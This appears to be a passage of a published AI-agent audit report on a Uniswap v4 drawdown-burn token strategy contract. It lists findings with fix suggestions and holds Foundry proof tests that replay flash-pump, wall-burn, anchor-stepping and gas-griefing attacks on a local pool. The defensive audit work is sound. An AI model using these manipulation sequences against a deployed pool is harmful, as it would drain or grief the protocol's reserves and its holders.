IMD › Explorer › Target: src/DrawdownBurnStrategy.sol (others are deployed context).

Target: src/DrawdownBurnStrategy.sol (others are deployed context).d72343fc

Focus: (1) pot/pendingWall/accounted vs the vault's real ARB, pre-existing vault balance must never be spent; (2) v4 flash accounting in every unlockCallback path and onFeeReceived running inside another user's swap; (3) manipulation of the anchor, hourly-close ATH, tiers and buyback limits; (4) wall tick math, single-sided add/remove, crossed-wall burn, DoS of buildWall; (5) gas inside swaps vs the 400k cap.

Published · Audit

11 findings

Four agents audited the code as it is at f55319f, each in one area, and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the code was changed or deployed.

Download the report (Markdown)

1 high5 medium3 low2 info

1.highFirst observation after deployment is not step-limited: anchor.block_ starts at 0, so one flash pump sets the anchor, the tier and the hour's close, and the next hour lifts the ATH to itsrc/DrawdownBurnStrategy.sol:416

        if (a.block_ == 0) return tick;

The constructor stores Anchor(0, tick, ...) with block_ = 0 and stepped() returns the raw pool tick whenever a.block == 0, so the very first _observe() after deployment is not limited to MAX_ANCHOR_STEP (200 ticks) from the reading the constructor already recorded in a.tick. That first reading is reachable by anyone, with no fee, through buyback() (unlockCallback -> _observe), buildWall(), the permissionless FeeVault.onFeeReceived, or simply the afterSwap of the first swap.

An attacker who takes it inside one transaction (buy to any tick, buyback(), sell back) writes anchor.tick, burnBps and lastMcap at the flash price; lastMcap is the running hourly close, so the first reading of the next clock hour promotes it to athMcap (_anchorNow: hour != a.hour && mcap > ath). athMcap never decays and no owner function lowers it.

With a large pump the tier reads 100% burn forever, nothing reaches pendingWall, and wallTarget() lands above the price so no wall is ever laid; the documented guarantees that a wick inside an hour is never an ATH and that the anchor moves at most ~2% per block do not hold for the install block.

Cost: one round trip of fees (3.3% hook each way plus LP fee), no holding across blocks. The install flow is multi-transaction (deploy, setStrategy, transferOwnership), so the deployer cannot rely on being first. Merged from audit_math (high) and audit_flow (medium).

Fix: drop the block_ == 0 special case in _stepped (the constructor already seeds a.tick), or store block.number in the constructor's anchor.

Local v4 pool, token = currency0, price at tick 0, full-range liquidity 1e21, strategy deployed with athMcap_ = 0 (ATH = deploy mcap).

Next block, one transaction: swap 2000e18 ARB for token with price limit tick 20000, call strategy.buyback() (pot empty, only observes), swap token back to about tick 0.

Expected: anchor.tick <= 0 + 200 and the later ATH at most ~2% over the deploy reading.

Actual: anchor.tick == 20000 (assert fails '20000 > 200'); after vm.warp(+1 hours) and one more buyback(), athMcap is ~7.4x the deploy market cap.

Proof test fails on this code and passes when line 416 is removed (verified both ways).

proof · a Foundry test that fails on this code and passes once it is fixed

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {DrawdownBurnStrategy} from "src/DrawdownBurnStrategy.sol";
import {FeeVault} from "src/FeeVault.sol";
import {FeeHook} from "src/FeeHook.sol";
import {Token} from "src/Token.sol";

contract Reserve is ERC20 {
    constructor() ERC20("ARB", "ARB") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// The first observation after install uses the raw pool tick: `_stepped` returns `tick` while
/// `anchor.block_ == 0`. A single-transaction pump can therefore set the anchor and `lastMcap`
/// arbitrarily far from the deploy reading, and the next hour's first reading lifts the ATH to it.
contract FirstAnchorUnsteppedTest is Test {
    using StateLibrary for IPoolManager;
    using PoolIdLibrary for PoolKey;

    PoolManager pm;
    Token token;
    Reserve arb;
    FeeVault vault;
    FeeHook hook;
    DrawdownBurnStrategy strat;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    uint256 constant SUPPLY = 1_000_000e18;

    function setUp() public {
        vm.warp(1_700_000_000);
        vm.roll(100);
        pm = new PoolManager(address(this));
        arb = new Reserve();
        // The token must be currency0: put it at a low address.
        address tokenAddr = address(0x1000);
        deployCodeTo("Token.sol:Token", abi.encode("TKN", "TKN", SUPPLY, address(this)), tokenAddr);
        token = Token(tokenAddr);
        vault = new FeeVault(address(this));
        address hookAddr = address(uint160(uint256(0xABCD) << 32) | uint160(0x44)); // afterSwap + afterSwapReturnDelta
        deployCodeTo("FeeHook.sol:FeeHook", abi.encode(pm, address(vault), address(arb), 330, address(this)), hookAddr);
        hook = FeeHook(hookAddr);

        key = PoolKey({
            currency0: Currency.wrap(tokenAddr),
            currency1: Currency.wrap(address(arb)),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(hookAddr)
        });
        pm.initialize(key, TickMath.getSqrtPriceAtTick(0)); // 1 token = 1 ARB

        swapRouter = new PoolSwapTest(pm);
        lpRouter = new PoolModifyLiquidityTest(pm);
        arb.mint(address(this), 1e30);
        token.approve(address(lpRouter), type(uint256).max);
        arb.approve(address(lpRouter), type(uint256).max);
        token.approve(address(swapRouter), type(uint256).max);
        arb.approve(address(swapRouter), type(uint256).max);
        // 1000 tokens / 1000 ARB of full-range liquidity.
        lpRouter.modifyLiquidity(
            key, ModifyLiquidityParams({tickLower: -887220, tickUpper: 887220, liquidityDelta: 1e21, salt: 0}), ""
        );

        address[] memory excluded = new address[](0);
        strat = new DrawdownBurnStrategy(pm, vault, key, token, address(arb), 0, excluded, 100e18, 600, address(this));
        vault.setStrategy(strat);
        vault.transferOwnership(address(strat));
    }

    function _swap(bool zeroForOne, int256 amountSpecified, int24 limitTick) internal {
        swapRouter.swap(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: amountSpecified,
                sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(limitTick)
            }),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
    }

    function test_firstObservationIsNotStepped() public {
        (, int24 deployTick,,) = IPoolManager(address(pm)).getSlot0(key.toId());
        uint256 athBefore = strat.athMcap();

        // One transaction, next block: pump the price ~7x (20000 ticks), take the block's first
        // reading, then sell back. buyback() observes on gas alone; the pot is empty so nothing is bought.
        vm.roll(101);
        _swap(false, -int256(2000e18), 20000); // buy token with ARB up to tick 20000
        (, int24 pumped,,) = IPoolManager(address(pm)).getSlot0(key.toId());
        assertGt(pumped, deployTick + 10000, "pump reached");
        strat.buyback();
        _swap(true, -int256(SUPPLY / 2), -10); // dump back to about the deploy price

        (, int24 anchorTick,,,) = strat.anchor();
        // Expected: the anchor moved at most MAX_ANCHOR_STEP from the deploy reading.
        assertLe(anchorTick, deployTick + strat.MAX_ANCHOR_STEP(), "anchor stepped at most 200 ticks");

        // The next hour's first reading closes this hour at the pumped reading and lifts the ATH.
        vm.roll(102);
        vm.warp(block.timestamp + 1 hours);
        strat.buyback();
        // Expected: an ATH at most ~2% (200 ticks) over the deploy reading.
        assertLe(strat.athMcap(), athBefore * 103 / 100, "ATH within one anchor step of deploy");
    }
}

2.mediumPre-existing vault ARB is split and spent: the bank snapshot in the constructor misses ARB not yet credited by sync and fees banked between deployment and setStrategysrc/DrawdownBurnStrategy.sol:222

        accounted = vault_.totalReceived(reserve_);

The requirement is that ARB already in the vault when the strategy is installed (the bank) is never counted or spent.

The only protection is snapshotting vault.totalReceived in the constructor. totalReceived lags the vault's balance until someone calls FeeVault.sync, so (a) any ARB transferred to the vault directly (not via the hook's take+sync) is still FeeVault.pending at deploy; the next hook sync, anyone's permissionless vault.sync, or vault.withdraw credits it to totalReceived and the strategy's _observe() treats total - accounted as a fresh fee, splitting it into _pot/_pendingWall by the current tier, after which _due() (capped only by the vault's whole balance) and _build() spend it.

(b) The snapshot is taken at deployment, not at installation: every sell the hook banks between new DrawdownBurnStrategy(...) and vault.setStrategy (separate transactions) raises totalReceived and is likewise counted as fresh on the first _observe() and spent by the next buyback(). Merged from audit_math, audit_permissions and audit_economics (all medium).

Fix: call vault_.sync(reserve_) in the constructor before reading totalReceived (closes a), and either deploy+setStrategy atomically or add an owner one-shot install() that re-snapshots accounted = vault.totalReceived(reserve) when the vault is pointed at the strategy (closes b).

Transfer 100e18 ARB directly to a fresh FeeVault (vault.pending(ARB) == 100e18, totalReceived == 0).

Deploy DrawdownBurnStrategy against it: accounted == 0. setStrategy + transferOwnership.

Next block call vault.sync(ARB) then vault.onFeeReceived(ARB) (a sell swap does both).

Expected: pot() + pendingWall() == 0, the 100 ARB stays bank.

Actual: pot() + pendingWall() == 100e18 ('pre-existing vault balance counted as a fee: 100000000000000000000 != 0'); buyback()/buildWall() then spend it.

Proof test fails on this code and passes with vault_.sync(reserve_) before the snapshot (verified both ways).

Variant (b): no direct transfer, but a sell paying 10 ARB fee lands between deployment and setStrategy; after setStrategy the first observe credits 10 ARB as fresh.

proof · a Foundry test that fails on this code and passes once it is fixed

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {DrawdownBurnStrategy} from "src/DrawdownBurnStrategy.sol";
import {FeeVault} from "src/FeeVault.sol";
import {Token} from "src/Token.sol";
import {IFeeStrategy} from "src/interfaces/IFeeStrategy.sol";

contract MockARB is ERC20 {
    constructor() ERC20("Arbitrum", "ARB") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// ARB already in the vault at install time (the bank) must never be counted or spent. The
/// constructor snapshots vault.totalReceived, which lags the vault's balance until someone calls
/// FeeVault.sync: an unsynced bank is split as a fresh fee by the first _observe().
contract BankCountedAsFeeTest is Test {
    PoolManager pm;
    FeeVault vault;
    Token token;
    MockARB arb;
    DrawdownBurnStrategy strat;
    address owner = address(0xA11CE);

    function _deploy() internal {
        pm = new PoolManager(address(this));
        vault = new FeeVault(owner);
        // Deploy until token < arb so the token is currency0, as the strategy requires.
        while (true) {
            token = new Token("T", "T", 1_000_000e18, address(this));
            arb = new MockARB();
            if (address(token) < address(arb)) break;
        }
    }

    function _install(uint256 ath) internal {
        PoolKey memory key = PoolKey({
            currency0: Currency.wrap(address(token)),
            currency1: Currency.wrap(address(arb)),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(address(0))
        });
        address[] memory ex;
        strat = new DrawdownBurnStrategy(
            IPoolManager(address(pm)), vault, key, token, address(arb), ath, ex, 1e30, 600, owner
        );
        vm.startPrank(owner);
        vault.setStrategy(IFeeStrategy(address(strat)));
        vault.transferOwnership(address(strat));
        vm.stopPrank();
    }

    function test_bankPendingAtDeployIsCountedAsFee() public {
        _deploy();
        arb.mint(address(vault), 100e18); // the bank, delivered before the strategy exists, never synced
        assertEq(vault.pending(address(arb)), 100e18);
        _install(1e24);

        vm.roll(block.number + 1);
        vault.sync(address(arb)); // the hook does exactly this on the next sell, before notifying
        vault.onFeeReceived(address(arb)); // permissionless entry; the hook would do the same on the next swap
        // Expected: the bank is never counted. Actual: 100 ARB is now pot + pendingWall.
        assertEq(strat.pot() + strat.pendingWall(), 0, "pre-existing vault balance counted as a fee");
    }
}

3.mediumbuildWall() decides 'crossed all the way' from the raw slot0 tick, so a same-transaction dump through the wall removes it and burns its tokensrc/DrawdownBurnStrategy.sol:486

        if (w.liquidity != 0 && tick < w.lower) {

Every other price-sensitive decision (tier, buy limit) is taken at the block's stepped anchor so that a flash move cannot drive it.

The crossed-wall burn is the exception: _build() reads slot0's tick directly. buildWall() is permissionless and only requires the PoolManager to be locked, which an attacker satisfies by using separate unlocks inside one transaction: (1) sell token through the wall until the tick is below wall.lower, (2) call buildWall(), which removes the whole position and burns the token it bought, (3) buy back.

The wall, the protocol's documented support that 'only the owner takes out', is gone at a moment of the attacker's choosing, its ARB was handed to the attacker's sell at the wall price, and the price returns to where it was.

The attacker pays the hook and LP fees on the round trip; the gain is the forced burn and the removal of support rather than direct extraction, so this is a griefing vector against the main defensive mechanism and contradicts the stated design that intra-block moves never trigger the strategy's decisions.

Fix: take the crossed decision from anchor.tick (already updated by _observe() at the top of unlockCallback): if (w.liquidity != 0 && anchor.tick < w.lower), so a crossing must persist for wallWidth/200 blocks before the burn fires.

Local pool at tick 0 with full-range liquidity 1e21, wallWidth 600, spacing 60, ATH = deploy mcap.

Block 101: sell 100e18 token (ARB fee -> pendingWall).

Block 102: buildWall() lays the wall at [-9780, -9180] with liquidity ~6.46e19.

Block 103, one transaction: sell with price limit tick lower-120 (-9900), call buildWall(), buy back with limit tick 0.

Expected: wall.liquidity unchanged (the price never closed below the wall).

Actual: wall == (0,0,0), WallBurned emitted, the wall's token burned; assert fails '0 != 64631074360827625423'.

Proof test fails on this code and passes with the anchor.tick comparison (verified both ways).

proof · a Foundry test that fails on this code and passes once it is fixed

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {DrawdownBurnStrategy} from "src/DrawdownBurnStrategy.sol";
import {FeeVault} from "src/FeeVault.sol";
import {FeeHook} from "src/FeeHook.sol";
import {Token} from "src/Token.sol";

contract Reserve is ERC20 {
    constructor() ERC20("ARB", "ARB") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// `_build` decides "crossed all the way" from the raw slot0 tick. A single transaction can sell
/// through the wall, call buildWall() to remove it and burn its token, then buy back: the wall
/// (the protocol's support) is gone although the price never closed below it.
contract WallFlashCrossTest is Test {
    using StateLibrary for IPoolManager;
    using PoolIdLibrary for PoolKey;

    PoolManager pm;
    Token token;
    Reserve arb;
    FeeVault vault;
    FeeHook hook;
    DrawdownBurnStrategy strat;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    uint256 constant SUPPLY = 1_000_000e18;

    function setUp() public {
        vm.warp(1_700_000_000);
        vm.roll(100);
        pm = new PoolManager(address(this));
        arb = new Reserve();
        address tokenAddr = address(0x1000);
        deployCodeTo("Token.sol:Token", abi.encode("TKN", "TKN", SUPPLY, address(this)), tokenAddr);
        token = Token(tokenAddr);
        vault = new FeeVault(address(this));
        address hookAddr = address(uint160(uint256(0xABCD) << 32) | uint160(0x44));
        deployCodeTo("FeeHook.sol:FeeHook", abi.encode(pm, address(vault), address(arb), 330, address(this)), hookAddr);
        hook = FeeHook(hookAddr);

        key = PoolKey({
            currency0: Currency.wrap(tokenAddr),
            currency1: Currency.wrap(address(arb)),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(hookAddr)
        });
        pm.initialize(key, TickMath.getSqrtPriceAtTick(0));

        swapRouter = new PoolSwapTest(pm);
        lpRouter = new PoolModifyLiquidityTest(pm);
        arb.mint(address(this), 1e30);
        token.approve(address(lpRouter), type(uint256).max);
        arb.approve(address(lpRouter), type(uint256).max);
        token.approve(address(swapRouter), type(uint256).max);
        arb.approve(address(swapRouter), type(uint256).max);
        lpRouter.modifyLiquidity(
            key, ModifyLiquidityParams({tickLower: -887220, tickUpper: 887220, liquidityDelta: 1e21, salt: 0}), ""
        );

        address[] memory excluded = new address[](0);
        strat = new DrawdownBurnStrategy(pm, vault, key, token, address(arb), 0, excluded, 100e18, 600, address(this));
        vault.setStrategy(strat);
        vault.transferOwnership(address(strat));
    }

    function _swap(bool zeroForOne, int256 amountSpecified, int24 limitTick) internal {
        swapRouter.swap(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: amountSpecified,
                sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(limitTick)
            }),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
    }

    function test_flashCrossingBurnsTheWall() public {
        // A sell pays an ARB fee; its kept share waits as pendingWall. Lay the wall next block.
        vm.roll(101);
        _swap(true, -int256(100e18), -1000);
        vm.roll(102);
        strat.buildWall();
        (int24 lower, int24 upper, uint128 liq) = strat.wall();
        assertGt(liq, 0, "wall laid");
        (, int24 before,,) = IPoolManager(address(pm)).getSlot0(key.toId());
        assertGt(before, upper, "price above the wall");

        // One transaction, next block: dump through the wall, call buildWall, buy back.
        vm.roll(103);
        _swap(true, -int256(SUPPLY / 2), lower - 120);
        strat.buildWall();
        _swap(false, -int256(1e24), before);
        (, int24 afterTick,,) = IPoolManager(address(pm)).getSlot0(key.toId());
        assertGe(afterTick, before - 60, "price is back where it started");

        // Expected: the wall still stands; the price never closed below it. Actual: removed and burned.
        (,, uint128 liqAfter) = strat.wall();
        assertEq(liqAfter, liq, "wall survives a same-transaction crossing");
    }
}

4.mediumbuildWall() gates the add on the spot tick, so a same-transaction pump lays the pending reserve as a wall under the market and sells into itsrc/DrawdownBurnStrategy.sol:502

        if (tick < upper) return;

_build() decides whether the pending reserve may be laid from the pool's current slot0 tick alone. Anyone can therefore, in one transaction, (1) buy until the spot tick is at or above wallTarget().upper, (2) call buildWall(), which lays the whole pendingWall as reserve-only liquidity in [upper-wallWidth, upper), and (3) sell back down through it.

The wall buys their tokens at the wall's price while the market is below it, so the pending reserve, meant to buy only if the market genuinely came down to that level, is converted to tokens at the attacker's chosen moment and the attacker captures the premium between the wall range and the market. The documented rule 'nothing is added while the price is at or inside its top' is bypassed.

The state that makes this material is any time pendingWall is large while the market is under the top: fees that arrived but were not laid before the price fell, and above all after moveWall() when the new top is above the market (the whole old wall's reserve waits in pendingWall). Same root cause as the crossed-wall finding (raw slot0 tick in _build) but a distinct mechanism and impact.

Fix: also require the block's anchor to be at or above the top (if (tick < upper || anchor.tick < upper) return;), so a single-transaction pump cannot open the gate. Note the anchor lags a genuine fall by 200 ticks per block, so for the few blocks after a drop the gate is still open with that fix; that residual lays the wall where it would have been laid a block earlier, which is acceptable, whereas the current code lays it at any depth.

Local pool at tick 0, liquidity 1e21, ATH 2e24 (2x deploy mcap), wallWidth 600.

Block 101: sell 100e18 token (25% of fee -> pendingWall ~ 0.65e18).

Block 102: sell to tick -4000 (under wallTarget().upper = -2280).

Blocks 103..112: honest buildWall() each block lays nothing (wall.liquidity == 0) and the anchor settles under the top.

Block 113, one transaction: buy with limit upper+1, buildWall(), sell back to -4000.

Expected: wall still not laid (the price never closed above its top).

Actual: wall laid with liquidity 57087046891404389532; after the dump wallAmounts() shows 0 reserve and 1.948e18 tokens, pendingWall drained; assert fails '57087046891404389532 != 0'.

Proof test fails on this code and passes with the anchor gate added (verified both ways).

proof · a Foundry test that fails on this code and passes once it is fixed

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {DrawdownBurnStrategy} from "src/DrawdownBurnStrategy.sol";
import {FeeVault} from "src/FeeVault.sol";
import {FeeHook} from "src/FeeHook.sol";
import {Token} from "src/Token.sol";

contract ReserveC is ERC20 {
    constructor() ERC20("ARB", "ARB") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

abstract contract BaseC is Test {
    using StateLibrary for IPoolManager;
    using PoolIdLibrary for PoolKey;

    PoolManager pm;
    Token token;
    ReserveC arb;
    FeeVault vault;
    FeeHook hook;
    DrawdownBurnStrategy strat;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    uint256 constant SUPPLY = 1_000_000e18;

    function _setUp(uint256 ath, uint256 maxPerBuy, int24 spacing, uint256 excludedN) internal {
        vm.warp(1_700_000_000);
        vm.roll(100);
        pm = new PoolManager(address(this));
        arb = new ReserveC();
        address tokenAddr = address(0x1000);
        deployCodeTo("Token.sol:Token", abi.encode("TKN", "TKN", SUPPLY, address(this)), tokenAddr);
        token = Token(tokenAddr);
        vault = new FeeVault(address(this));
        address hookAddr = address(uint160(uint256(0xABCD) << 32) | uint160(0x44));
        deployCodeTo("FeeHook.sol:FeeHook", abi.encode(pm, address(vault), address(arb), 330, address(this)), hookAddr);
        hook = FeeHook(hookAddr);

        key = PoolKey({
            currency0: Currency.wrap(tokenAddr),
            currency1: Currency.wrap(address(arb)),
            fee: 3000,
            tickSpacing: spacing,
            hooks: IHooks(hookAddr)
        });
        pm.initialize(key, TickMath.getSqrtPriceAtTick(0));

        swapRouter = new PoolSwapTest(pm);
        lpRouter = new PoolModifyLiquidityTest(pm);
        arb.mint(address(this), 1e30);
        token.approve(address(lpRouter), type(uint256).max);
        arb.approve(address(lpRouter), type(uint256).max);
        token.approve(address(swapRouter), type(uint256).max);
        arb.approve(address(swapRouter), type(uint256).max);
        int24 full = (887272 / spacing) * spacing;
        lpRouter.modifyLiquidity(
            key, ModifyLiquidityParams({tickLower: -full, tickUpper: full, liquidityDelta: 1e21, salt: 0}), ""
        );

        address[] memory excluded = new address[](excludedN);
        for (uint256 i = 0; i < excludedN; i++) {
            excluded[i] = address(uint160(0x5000 + i));
            // give each a balance so the read is a real (non-zero) slot
            token.transfer(excluded[i], 1e18);
        }
        strat = new DrawdownBurnStrategy(
            pm, vault, key, token, address(arb), ath, excluded, maxPerBuy, 10 * spacing, address(this)
        );
        vault.setStrategy(strat);
        vault.transferOwnership(address(strat));
    }

    function _swap(bool zeroForOne, int256 amountSpecified, int24 limitTick) internal {
        swapRouter.swap(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: amountSpecified,
                sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(limitTick)
            }),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
    }

    function _tick() internal view returns (int24 t) {
        (, t,,) = IPoolManager(address(pm)).getSlot0(key.toId());
    }

    function _anchorTick() internal view returns (int24 t) {
        (, t,,,) = strat.anchor();
    }
}

/// C: _build() gates the add on the spot tick, so a same-transaction pump lays the pending
/// reserve as a wall under the market and the dump sells into it.
contract BuildOnSpotTest is BaseC {
    function setUp() public {
        _setUp(2e24, 100e18, 60, 0); // ATH 2x the deploy mcap: tier 75% burn, 25% wall
    }

    function test_pumpLaysWallUnderTheMarket() public {
        // Block 101: a sell leaves 25% of its fee pending for the wall.
        vm.roll(101);
        _swap(true, -int256(100e18), -1000);
        uint256 pending = strat.pendingWall();
        assertGt(pending, 0, "pending wall");
        // Block 102: the market falls under the wall's top.
        vm.roll(102);
        _swap(true, -int256(SUPPLY / 2), -4000);
        (, int24 upper) = strat.wallTarget();
        assertLt(_tick(), upper, "market under the wall top");

        // Blocks 103..112, honest calls: nothing is laid, as documented; the anchor catches up
        // with the fall and settles under the wall's top.
        uint128 liq;
        for (uint256 b = 103; b <= 112; b++) {
            vm.roll(b);
            strat.buildWall();
            (,, liq) = strat.wall();
            assertEq(liq, 0, "honest buildWall lays nothing under the top");
        }
        assertLt(_anchorTick(), upper, "anchor under the wall top");
        vm.roll(113);

        // Same block, one transaction: pump to just above the top, buildWall, dump back.
        uint256 arbBefore = arb.balanceOf(address(this));
        _swap(false, -int256(1e24), upper + 1);
        assertGe(_tick(), upper, "spot at or above the top");
        strat.buildWall();
        (,, liq) = strat.wall();
        _swap(true, -int256(SUPPLY / 2), -4000);
        (uint256 wallReserve, uint256 wallTokens) = strat.wallAmounts();
        console2.log("laid liquidity", liq);
        console2.log("wall reserve after dump", wallReserve);
        console2.log("wall tokens after dump", wallTokens);
        console2.log("pendingWall after", strat.pendingWall());
        console2.log("attacker ARB delta (signed, wei)", int256(arb.balanceOf(address(this))) - int256(arbBefore));
        // Expected: the wall is still not laid (price never closed above its top). Actual: laid and
        // immediately sold into; it holds tokens bought at the wall price while the market is lower.
        assertEq(liq, 0, "wall laid by a same-transaction pump");
    }
}

5.mediumAnchor catch-up is free: every permissionless buyback()/vault.onFeeReceived call steps the anchor 200 ticks toward a held pump without a fee-paying trade, so a held pump makes the strategy buy at the src/DrawdownBurnStrategy.sol:283
```
        _observe();
```
The natspec says a pump must be 'paid for every block -- a round trip through the pool's fee each time' to move the anchor and lift the ATH. In fact _observe() runs on every buyback() (through unlockCallback), buildWall(), and on FeeVault.onFeeReceived, which has no caller check, so once the attacker has pushed the price once and holds, each later block's call steps the anchor MAX_ANCHOR_STEP toward the pumped tick at gas cost only. Two consequences.
1. When the anchor reaches the price, _buy()'s limit is min(tick, anchor)+200, so the strategy spends min(pot, maxPerBuy) at the pumped price, again every block while the pot lasts, and the attacker sells into those buys; the loss is the pot spent above fair value, bounded per block by maxPerBuy.
2. If the hold spans a clock-hour boundary, the pumped lastMcap becomes athMcap, which never falls and no owner function resets: tiers read deeper drawdowns forever and the next wall is laid at 40% of the inflated ATH (above the price if the inflation exceeds 2.5x, so pending can never be laid). On Arbitrum block.number is the L1 block number, so a 3000-tick (35%) pump is anchored after 15 calls, about 3 minutes. The README accepts ATH lifting as a trade-off, but its cost model (a fee round trip per block) is what sizes WALL_BPS/maxPerBuy, and that cost model is wrong. Merged from audit_math (medium), audit_permissions (low) and audit_economics (low). Mitigations preserving the design: step the anchor only on readings that carry a fresh fee (fresh > 0) or at most once per time window, bound the buy limit by the hourly close rather than the stepped anchor, take the hourly close as the minimum or time-weighted anchor mcap over the hour, or add a bounded owner setAth(); at minimum correct the documented assumption.
Local pool at tick 0, liquidity 1e21, maxPerBuy 100e18, ATH = deploy mcap.

Block 101: sell 1e18 token (its fee is bought back in-swap), then sell 1000e18 token to tick -5000 (its burn share stays in the pot: pot = 7.27e18).

Block 102: attacker buys with limit tick 2000 and holds (that swap's afterSwap steps the anchor once).

Blocks 103..: attacker calls strategy.buyback() once per block and nothing else.

Expected per the natspec: no anchor movement without a fee-paying round trip, no buy above the previous anchor + 200.

Actual: the anchor advances exactly 200 ticks per buyback() call (asserted each block), the attacker's ARB balance is unchanged during the catch-up, and after 9 calls the anchor is 1980, the pool tick 2032, and the strategy spends 1.8166e18 ARB of the pot ~7000 ticks (2x) above the pre-pump price.

Test test/scratch/Judge.t.sol:FreeSteppingTest fails on this code with 'anchor moved without any fee-paying trade: 1980 > 180'.
6.mediumDust positions at the spacings inside the 200-tick buy window push the in-swap buyback past the 400k cap; it fails silently and buybacks fall back to buyback() alonesrc/DrawdownBurnStrategy.sol:257
```
            try this.buyInside(amount) {} catch {}
```
The buyback inside a trader's swap runs under FeeVault.STRATEGY_GAS_LIMIT (400k; README measured peak 327k live). The nested poolManager.swap in _buy crosses every initialized tick between the current price and min(tick, anchor)+200. Crossing an initialized tick above the price writes its two feeGrowthOutside slots from zero plus the tick and bitmap reads, about 38k gas per crossing in this harness.

Initializing a tick needs only a position with any liquidity (liquidityDelta 1000, a few wei of each currency), positions persist, and nothing limits who adds them.

An unprivileged actor who seeds one dust position per spacing above the price (3-4 at tickSpacing 60, 20 at spacing 10) makes buyInside run out of gas once the pot is large enough to cross them; the catch at this line swallows the OutOfGas, the vault sees a successful call so no StrategyCallFailed is emitted, the fee is still split, and no buyback happens in any swap while the dust remains in the window.

The pot keeps growing and every later attempt tries to spend min(pot, maxPerBuy), so the automatic path stays disabled; only the permissionless buyback() keeper call (no gas cap, ~437k here with four crossings) remains, which the README's fallback assumption covers but nothing surfaces. Merged from audit_economics (medium), audit_flow (low) and audit_math (info).

Fix options that keep the design: bound the nested swap's price limit by a tick budget derived from gasleft() (or to less than one spacing when gas is short), check gasleft() against a measured per-crossing cost before buying, use a narrower window inside onFeeReceived and keep the full 200 ticks for buyback(), and emit an event in the catch so keepers can react.
Local v4 pool (token/ARB, 3000 lpFee, FeeHook 330 bps, full-range liquidity 1e21 at tick 0), strategy with ath = type(uint128).max (tier 100%), maxPerBuy 1e24.

